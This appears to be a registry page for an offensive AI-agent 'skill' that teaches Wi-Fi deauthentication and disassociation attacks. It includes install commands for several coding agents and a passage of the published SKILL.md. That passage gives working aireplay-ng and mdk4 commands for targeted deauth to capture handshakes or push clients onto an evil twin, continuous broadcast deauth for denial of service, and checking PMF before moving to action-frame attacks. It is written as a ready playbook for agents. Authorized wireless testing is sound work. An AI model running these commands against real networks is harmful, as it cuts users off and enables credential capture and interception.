# Offensive Deauth Disassoc

Deauthentication and disassociation attacks against 802.11 networks, targeted...

- Repository: https://github.com/SnailSploit/Claude-Red (10186 stars)
- Category: Testing
- License: MIT
- Last updated: 2026-10-12
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc -g -a claude-code -y`
Codex: `npx skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc -g -a codex -y`
Cursor: `npx skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc -g -a cursor -y`
Gemini CLI: `npx skills add SnailSploit/Claude-Red --skill offensive-deauth-disassoc -g -a gemini-cli -y`

## Description

Deauthentication and disassociation attacks against 802.11 networks, targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Deauth / Disassoc Attacks

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically, but most consumer and many enterprise deployments still don't require PMF.

## Quick Workflow

1. Identify target client + AP (BSSID, channel)
2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
3. Verify PMF status, if required, classic deauth fails; pivot to action-frame attacks
4. Send the deauth burst at the right rate

---

## Single-Client Deauth (Preferred)

Used to force handshake capture, push client to evil twin, or test reconnection behavior.

```bash
sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
```

- `--deauth 5` sends 5 deauths (10 frames, 5 to AP, 5 to client). 3, 10 is usually enough.
- More than 30 in a burst is unnecessarily noisy.

## Broadcast Deauth (DoS, Use Sparingly)

```bash
# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous

# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
```

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.

## PMF (802.11w) Awareness

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:

```bash
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
```

| PMF Status | Deauth Effect |
|---|---|
| Off | Classic deauth works |
| Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients |
| Required | Classic deauth ignored, must use action-frame attacks |

## Action-Frame Attacks Against PMF

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:

The rest: https://github.com/SnailSploit/Claude-Red/blob/HEAD/Skills/wireless/offensive-deauth-disassoc/SKILL.md